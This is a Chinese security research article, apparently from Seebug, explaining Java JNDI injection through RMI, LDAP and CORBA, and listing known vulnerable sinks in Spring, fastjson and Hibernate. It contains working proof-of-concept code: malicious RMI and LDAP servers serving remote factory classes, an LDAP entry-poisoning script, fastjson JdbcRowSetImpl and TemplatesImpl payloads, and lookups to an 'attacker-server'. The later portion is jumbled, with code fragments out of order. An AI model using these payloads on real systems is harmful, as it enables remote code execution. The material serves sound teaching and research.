- RMI可以利用服務器本地反序列化利用鏈進行攻擊。
- RMI具有動態加載類的能力以及能利用這種能力進行惡意利用。這種利用方式是在本地不存在可用的利用鏈或者可用的利用鏈中某些類被過濾了導致無法利用時可以使用,不過利用條件有些苛刻。
- 講了Weblogic RMI和Java RMI的區別,以及Java RMI默認使用的專有傳輸協議(或者也可以叫做默認協議)是JRMP,Weblogic RMI默認使用的傳輸協議是T3。
- Weblogic RMI正常調用觸發反序列化以及模擬T3協議觸發反序列化都可以,但是模擬T3協議傳輸簡化了很多過程。
Weblogic RMI反序列化漏洞起源是CVE-2015-4852,這是@breenmachine最開始發現的,在他的這篇分享中[7],不僅講到了Weblogic的反序列化漏洞的發現,還有WebSphere、JBoss、Jenkins、OpenNMS反序列化漏洞的發現過程以及如何開發利用程序,如果之前沒有看過這篇文章,可以耐心的讀一下,可以看到作者是如何快速確認是否存在易受攻擊的庫,如何從流量中尋找反序列化特征,如何去觸發這些流量。
我們可以看到作者發現這幾個漏洞的過程都有相似性:首先判斷了是否存在易受攻擊的庫/易受攻擊的特征->搜集端口信息->針對性的觸發流量->在流量中尋找反序列化特征->開發利用程序。不過這是建立在作者對這些Web應用或中間件的整體有一定的了解。
JNDI
JNDI (Java Naming and Directory Interface) ,包括Naming Service和Directory Service。JNDI是Java API,允許客戶端通過名稱發現和查找數據、對象。這些對象可以存儲在不同的命名或目錄服務中,例如遠程方法調用(RMI),公共對象請求代理體系結構(CORBA),輕型目錄訪問協議(LDAP)或域名服務(DNS)。
Naming Service:命名服務是將名稱與值相關聯的實體,稱為"綁定"。它提供了一種使用"find"或"search"操作來根據名稱查找對象的便捷方式。 就像DNS一樣,通過命名服務器提供服務,大部分的J2EE服務器都含有命名服務器 。例如上面說到的RMI Registry就是使用的Naming Service。
Directory Service:是一種特殊的Naming Service,它允許存儲和搜索"目錄對象",一個目錄對象不同于一個通用對象,目錄對象可以與屬性關聯,因此,目錄服務提供了對象屬性進行操作功能的擴展。一個目錄是由相關聯的目錄對象組成的系統,一個目錄類似于數據庫,不過它們通常以類似樹的分層結構進行組織。可以簡單理解成它是一種簡化的RDBMS系統,通過目錄具有的屬性保存一些簡單的信息。下面說到的LDAP就是目錄服務。
幾個重要的JNDI概念:
- 原子名是一個簡單、基本、不可分割的組成部分
- 綁定是名稱與對象的關聯,每個綁定都有一個不同的原子名
- 復合名包含零個或多個原子名,即由多個綁定組成
- 上下文是包含零個或多個綁定的對象,每個綁定都有一個不同的原子名
- 命名系統是一組關聯的上下文
- 名稱空間是命名系統中包含的所有名稱
- 探索名稱空間的起點稱為初始上下文
- 要獲取初始上下文,需要使用初始上下文工廠
使用JNDI的好處:
JNDI自身并不區分客戶端和服務器端,也不具備遠程能力,但是被其協同的一些其他應用一般都具備遠程能力,JNDI在客戶端和服務器端都能夠進行一些工作,客戶端上主要是進行各種訪問,查詢,搜索,而服務器端主要進行的是幫助管理配置,也就是各種bind。比如在RMI服務器端上可以不直接使用Registry進行bind,而使用JNDI統一管理,當然JNDI底層應該還是調用的Registry的bind,但好處JNDI提供的是統一的配置接口;在客戶端也可以直接通過類似URL的形式來訪問目標服務,可以看后面提到的JNDI動態協議轉換。把RMI換成其他的例如LDAP、CORBA等也是同樣的道理。
幾個簡單的JNDI示例
JNDI與RMI配合使用:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);
//將名稱refObj與一個對象綁定,這里底層也是調用的rmi的registry去綁定
ctx.bind("refObj", new RefObject());
//通過名稱查找對象
ctx.lookup("refObj");
JNDI與LDAP配合使用:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
//通過名稱查找遠程對象,假設遠程服務器已經將一個遠程對象與名稱cn=foo,dc=test,dc=org綁定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
JNDI動態協議轉換
上面的兩個例子都手動設置了對應服務的工廠以及對應服務的PROVIDER_URL,但是JNDI是能夠進行動態協議轉換的。
例如:
Context ctx = new InitialContext();
ctx.lookup("rmi://attacker-server/refObj");
//ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");
//ctx.lookup("iiop://attacker-server/bar");
上面沒有設置對應服務的工廠以及PROVIDER_URL,JNDI根據傳遞的URL協議自動轉換與設置了對應的工廠與PROVIDER_URL。
再如下面的:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);
String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通過名稱查找對象
ctx.lookup(name);
即使服務端提前設置了工廠與PROVIDER_URL也不要緊,如果在lookup時參數能夠被攻擊者控制,同樣會根據攻擊者提供的URL進行動態轉換。
在使用lookup方法時,會進入getURLOrDefaultInitCtx這個方法,轉換就在這里面:
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {//這里不是說我們設置了上下文環境變量就會進入,因為我們沒有執行初始化上下文工廠的構建,所以上面那兩種情況在這里都不會進入
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);//嘗試從名稱解析URL中的協議
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);//如果解析出了Schema協議,則嘗試獲取其對應的上下文環境
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
JNDI命名引用
為了在命名或目錄服務中綁定Java對象,可以使用Java序列化傳輸對象,例如上面示例的第一個例子,將一個對象綁定到了遠程服務器,就是通過反序列化將對象傳輸過去的。但是,并非總是通過序列化去綁定對象,因為它可能太大或不合適。為了滿足這些需求,JNDI定義了命名引用,以便對象可以通過綁定由命名管理器解碼并解析為原始對象的一個引用間接地存儲在命名或目錄服務中。
引用由Reference類表示,并且由地址和有關被引用對象的類信息組成,每個地址都包含有關如何構造對象。
Reference可以使用工廠來構造對象。當使用lookup查找對象時,Reference將使用工廠提供的工廠類加載地址來加載工廠類,工廠類將構造出需要的對象:
Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);
還有其他從引用構造對象的方式,但是使用工廠的話,因為為了構造對象,需要先從遠程獲取工廠類 并在目標系統中工廠類被加載。
遠程代碼庫和安全管理器
在JNDI棧中,不是所有的組件都被同等對待。當驗證從何處加載遠程類時JVM的行為不同。從遠程加載類有兩個不同的級別:
- 命名管理器級別
- 服務提供者接口(SPI)級別
JNDI體系結構:

在SPI級別,JVM將允許從遠程代碼庫加載類并實施安全性。管理器的安裝取決于特定的提供程序(例如在上面說到的RMI那些利用方式就是SPI級別,必須設置安全管理器):
| Provider | Property to enable remote class loading | 是否需要強制安裝Security Manager |
|---|---|---|
| RMI | java.rmi.server.useCodebaseOnly = false (JDK 6u45、JDK 7u21之后默認為true) | 需要 |
| LDAP | com.sun.jndi.ldap.object.trustURLCodebase = true(default = false) | 非必須 |
| CORBA | 需要 |
但是,在Naming Manager層放寬了安全控制。解碼JNDI命名時始終允許引用從遠程代碼庫加載類,而沒有JVM選項可以禁用它,并且不需要強制安裝任何安全管理器,例如上面說到的命名引用那種方式。
JNDI注入起源
JNDI注入是BlackHat 2016(USA)A Journey From JNDI LDAP Manipulation To RCE"[9]提出的。
有了上面幾個知識,現在來看下JNDI注入的起源就容易理解些了。JNDI注入最開始起源于野外發現的Java Applets 點擊播放繞過漏洞(CVE-2015-4902),它的攻擊過程可以簡單概括為以下幾步:
-
惡意applet使用JNLP實例化JNDI InitialContext
-
javax.naming.InitialContext的構造函數將請求應用程序的JNDI.properties JNDI配置文件來自惡意網站
- 惡意Web服務器將JNDI.properties發送到客戶端 JNDI.properties內容為:java.naming.provider.url = rmi://attacker-server/Go
- 在InitialContext初始化期間查找rmi//attacker-server/Go,攻擊者控制的注冊表將返回JNDI引用 (javax.naming.Reference)
- 服務器從RMI注冊表接收到JNDI引用后,它將從攻擊者控制的服務器獲取工廠類,然后實例化工廠以返回 JNDI所引用的對象的新實例
- 由于攻擊者控制了工廠類,因此他可以輕松返回帶有靜態變量的類初始化程序,運行由攻擊者定義的任何Java代碼,實現遠程代碼執行
相同的原理也可以應用于Web應用中。對于JNDI注入,有以下兩個點需要注意:
- 僅由InitialContext或其子類初始化的Context對象(InitialDirContext或InitialLdapContext)容易受到JNDI注入攻擊
- 一些InitialContext屬性可以被傳遞給查找的地址/名稱覆蓋,即上面提到的JNDI動態協議轉換
不僅僅是InitialContext.lookup()方法會受到影響,其他方法例如InitialContext.rename()、 InitialContext.lookupLink()最后也調用了InitialContext.lookup()。還有其他包裝了JNDI的應用,例如Apache's Shiro JndiTemplate、Spring's JndiTemplate也會調用InitialContext.lookup(),看下Apache Shiro的JndiTemplate.lookup():

JNDI攻擊向量
JNDI主要有以下幾種攻擊向量:
- RMI
- JNDI Reference
- Remote Object(有安全管理器的限制,在上面RMI利用部分也能看到)
- LDAP
- Serialized Object
- JNDI Reference
- Remote Location
- CORBA
- IOR
有關CORBA的內容可以看BlackHat 2016那個議題相關部分,后面主要說明是RMI攻擊向量與LDAP攻擊向量。
JNDI Reference+RMI攻擊向量
使用RMI Remote Object的方式在RMI那一節我們能夠看到,利用限制很大。但是使用RMI+JNDI Reference就沒有那些限制,不過在JDK 6u132、JDK 7u122、JDK 8u113 之后,系統屬性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變為false,即默認不允許RMI、cosnaming從遠程的Codebase加載Reference工廠類。
如果遠程獲取到RMI服務上的對象為 Reference類或者其子類,則在客戶端獲取遠程對象存根實例時,可以從其他服務器上加載 class 文件來進行實例化獲取Stub對象。
Reference中幾個比較關鍵的屬性:
- className - 遠程加載時所使用的類名,如果本地找不到這個類名,就去遠程加載
- classFactory - 遠程的工廠類
- classFactoryLocation - 工廠類加載的地址,可以是file://、ftp://、http:// 等協議
使用ReferenceWrapper類對Reference類或其子類對象進行遠程包裝使其能夠被遠程訪問,客戶端可以訪問該引用。
Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName為類名加上包名,FactoryClassName為工廠類名并且包含工廠類的包名
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);//這里也可以使用JNDI的ctx.bind("Foo", wrapper)方式,都可以
當有客戶端通過 lookup("refObj") 獲取遠程對象時,獲得到一個 Reference 類的存根,由于獲取的是一個 Reference類的實例,客戶端會首先去本地的 CLASSPATH 去尋找被標識為 refClassName 的類,如果本地未找到,則會去請求 http://example.com:12345/FactoryClassName.class 加載工廠類。
這個攻擊過程如下:
- 攻擊者為易受攻擊的JNDI的lookup方法提供了絕對的RMI URL
- 服務器連接到受攻擊者控制的RMI注冊表,該注冊表將返回惡意JNDI引用
- 服務器解碼JNDI引用
- 服務器從攻擊者控制的服務器獲取Factory類
- 服務器實例化Factory類
- 有效載荷得到執行

來模擬下這個過程(以下代碼在JDK 1.8.0_102上測試通過):
惡意的JNDIServer,
package com.longofo.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer1 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// 創建Registry
Registry registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
客戶端,
package com.longofo.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class RMIClient1 {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
// Properties env = new Properties();
// env.put(Context.INITIAL_CONTEXT_FACTORY,
// "com.sun.jndi.rmi.registry.RegistryContextFactory");
// env.put(Context.PROVIDER_URL,
// "rmi://localhost:9999");
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:9999/refObj");
}
}
完整代碼在github上,先啟動remote-class/src/main/java/com/longofo/remoteclass/HttpServer,接著啟動rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/RMIServer1,在運行rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/RMIClient1即可復現,在JDK 1.8.0_102測試通過。
| 關鍵字 | 英文全稱 | 含義 |
|---|---|---|
| dc | Domain Component | 域名的部分,其格式是將完整的域名分成幾部分,如域名為example.com變成dc=example,dc=com(一條記錄的所屬位置) |
| uid | User Id | 用戶ID songtao.xu(一條記錄的ID) |
| ou | Organization Unit | 組織單位,組織單位可以包含其他各種對象(包括其他組織單元),如"employees"(一條記錄的所屬組織單位) |
| cn | Common Name | 公共名稱,如"Thomas Johansson"(一條記錄的名稱) |
| sn | Surname | 姓,如"xu" |
| dn | Distinguished Name | 由有多個其他屬性組成,如"uid=songtao.xu,ou=oa組,dc=example,dc=com",一條記錄的位置(唯一) |
| rdn | Relative dn | 相對辨別名,類似于文件系統中的相對路徑,它是與目錄樹結構無關的部分,如“uid=tom”或“cn= Thomas Johansson” |
LDAP 的目錄信息是以樹形結構進行存儲的,在樹根一般定義國家(c=CN)或者域名(dc=com),其次往往定義一個或多個組織(organization,o)或組織單元(organization unit,ou)。一個組織單元可以包含員工、設備信息(計算機/打印機等)相關信息。例如為公司的員工設置一個DN,可以基于cn或uid(User ID)作為用戶賬號。如example.com的employees單位員工longofo的DN可以設置為下面這樣:
uid=longofo,ou=employees,dc=example,dc=com
用樹形結構表示就是下面這種形式(Person綁定的是類對象):

LDAP攻擊向量
攻擊過程如下:
- 攻擊者為易受攻擊的JNDI查找方法提供了一個絕對的LDAP URL
- 服務器連接到由攻擊者控制的LDAP服務器,該服務器返回惡意JNDI 引用
- 服務器解碼JNDI引用
- 服務器從攻擊者控制的服務器獲取Factory類
- 服務器實例化Factory類
- 有效載荷得到執行

JNDI也可以用于與LDAP目錄服務進行交互。通過使用幾個特殊的Java屬性,如上面提到的javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation屬性等,使用這些屬性可以使用LDAP來存儲Java對象,在LDAP目錄中存儲屬性至少有以下幾種方式:
- 使用序列化
https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html[12]
這種方式在具體在哪個版本開始需要開啟com.sun.jndi.ldap.object.trustURLCodebase屬性默認為true才允許遠程加載類還不清楚,不過我在jdk1.8.0_102上測試需要設置這個屬性為true。
惡意服務端:
package com.longofo;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*/
public class LDAPSeriServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
客戶端:
package com.longofo.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient1 {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
}
}
完整代碼在github上,先啟動remote-class/src/main/java/com/longofo/remoteclass/HttpServer,接著啟動rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPSeriServer,運行rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPServer1添加codebase以及序列化對象,在運行客戶端rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/LDAPClient1即可復現。以上代碼在JDK 1.8.0_102測試通過,注意客戶端System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true")這里我在jdk 1.8.0_102測試不添加這個允許遠程加載是不行的,所以具體的測試結果還是以實際的測試為準。
- 使用JNDI引用
https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html>[13]
這種方式在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase屬性默認為false時不允許遠程加載類了
惡意服務端:
package com.longofo;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*/
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
客戶端:
package com.longofo.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient2 {
public static void main(String[] args) throws NamingException {
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
}
}
完整代碼在github上,先啟動remote-class/src/main/java/com/longofo/remoteclass/HttpServer,接著啟動rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPRefServer,運行rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPServer2添加JNDI引用,在運行客戶端rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/LDAPClient2即可復現。
- Remote Location方式
這種方式是結合LDAP與RMI+JNDI Reference的方式,所以依然會受到上面RMI+JNDI Reference的限制,這里就不寫代碼測試了,下面的代碼只說明了該如何使用這種方式:
BasicAttribute mod1 = new BasicAttribute("javaRemoteLocation",
"rmi://attackerURL/PayloadObject");
BasicAttribute mod2 = new BasicAttribute("javaClassName",
"PayloadObject");
ModificationItem[] mods = new ModificationItem[2];
mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods);
還有利用本地class繞過高版本JDK限制的,可以參考
lookup()方式是我們能控制ctx.lookup()參數進行對象的查找,LDAP服務器也是攻擊者創建的。對于LDAP服務來說,大多數應用使用的是ctx.search()進行屬性的查詢,這時search會同時使用到幾個參數,并且這些參數一般無法控制,但是會受到外部參數的影響,同時search()方式能被利用需要RETURN_OBJECT為true,可以看下后面幾已知的JNDI search()漏洞就很清楚了。 攻擊場景 對于search方式的攻擊需要有對目錄屬性修改的權限,因此有一些限制,在下面這些場景下可用: 已知的JNDI search()漏洞 Spring Security and LDAP projects FilterBasedLdapUserSearch.searchForUser() SpringSecurityLdapTemplate.searchForSingleEntry() SpringSecurityLdapTemplate.searchForSingleEntryInternal(){ ... 利用方式: 不需要成功認證payload依然可以執行 Spring LDAP LdapTemplate.authenticate() LdapTemplate.search(){ 利用方式同上類似 Apache Directory提供了一個包裝器類(org.apache.directory.groovyldap.LDAP),該類提供了
用于Groovy的LDAP功能。此類對所有搜索方法都使用將returnObjFlag設置為true的方法從而使它們容易受到攻擊 由@zerothinking發現 InitialContext.lookup() 由@matthias_kaiser發現 JdbcRowSetImpl.execute() JdbcRowSetImpl.prepare() 要調用到JdbcRowSetImpl.execute(),作者當時是通過 ```java'
payload = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["xxxxxxxxxx"], "_name": "1111", "_tfactory": { }, "_outputProperties":{ }}"; found by @pwntester InitialContext.lookup() org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName() found by @pwntester 在 從上面我們能了解以下幾點: 對這些資料進行搜索與整理的過程自己能學到很多,有一些相似性的特征自己可以總結與搜集下。LDAP與JNDI search()
**ctx.search(searchBaseDn, filter, params,buildControls(searchControls));**
...
}
buildControls(){
? return new SearchControls(
? originalControls.getSearchScope(),
? originalControls.getCountLimit(),
? originalControls.getTimeLimit(),
? originalControls.getReturningAttributes(),
? **RETURN_OBJECT**, // true
? originalControls.getDerefLinkFlag());
} import ldap
# LDAP Server
baseDn = 'ldap://localhost:389/'
# User to Poison
userDn = "cn=Larry,ou=users,dc=example,dc=org"
# LDAP Admin Credentials
admin = "cn=admin,dc=example,dc=org"
password = "password"
# Payload
payloadClass = 'PayloadObject'
payloadCodebase = 'http://localhost:9999/'
# Poisoning
print "[+] Connecting"
conn = ldap.initialize(baseDn)
conn.simple_bind_s(admin, password)
print "[+] Looking for user: %s" % userDn
result = conn.search_s(userDn, ldap.SCOPE_BASE, '(uid=*)', None)
for k,v in result[0][1].iteritems():
print "\t\t%s: %s" % (k,v,)
print "[+] Poisoning user: %s" % userDn
mod_attrs = [
(ldap.MOD_ADD, 'objectClass', 'javaNamingReference'),
(ldap.MOD_ADD, 'javaCodebase', payloadCodebase),
(ldap.MOD_ADD, 'javaFactory', payloadClass),
(ldap.MOD_ADD, 'javaClassName', payloadClass)]
conn.modify_s(userDn, mod_attrs)
print "[+] Verifying user: %s" % userDn
result = conn.search_s(userDn, ldap.SCOPE_BASE, '(uid=*)', None)
for k,v in result[0][1].iteritems():
print "\t\t%s: %s" % (k,v,)
print "[+] Disconnecting"
conn.unbind_s()
? return search(base, filter, getDefaultSearchControls(searchScope,
? **RETURN_OBJ_FLAG**, attrs), mapper);//true
}
已知的JNDI注入
org.springframework.transaction.jta.JtaTransactionManager.readObject()方法最終調用了
InitialContext.lookup(),并且最終傳遞到lookup中的參數userTransactionName能被攻擊者控制,調用過程如下:
com.sun.rowset.JdbcRowSetImpl.execute()最終調用了InitialContext.lookup()
org.mozilla.javascript.NativeError與javax.management.BadAttributeValueExpException配合在反序列化實現的,這個類通過一系列的復雜構造,最終能成功調用任意類的無參方法,在ysoserial中也有這條利用鏈。可以閱讀這個漏洞的原文,里面還可以學到TemplatesImpl這個類,它能通過字節碼加載一個類,這個類的使用在fastjson漏洞中也出現過,是@廖新喜師傅提供的一個PoC,payload大概長這個樣子: 另一個`JdbcRowSetImpl`的利用方式是通過它的`setAutoCommit`,也是通過fastjson觸發,`setAutoCommit`會調用`connect()`,也會到達`InitialContext.lookup()`,payload:
```java
payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}";javax.management.remote.rmi.RMIConnector.connect()最終會調用到InitialContext.lookup(),參數jmxServiceURL可控
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()中會調用InitialContext.lookup(),并且參數sfJNDIName可控
小結
參考
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1091/
暫無評論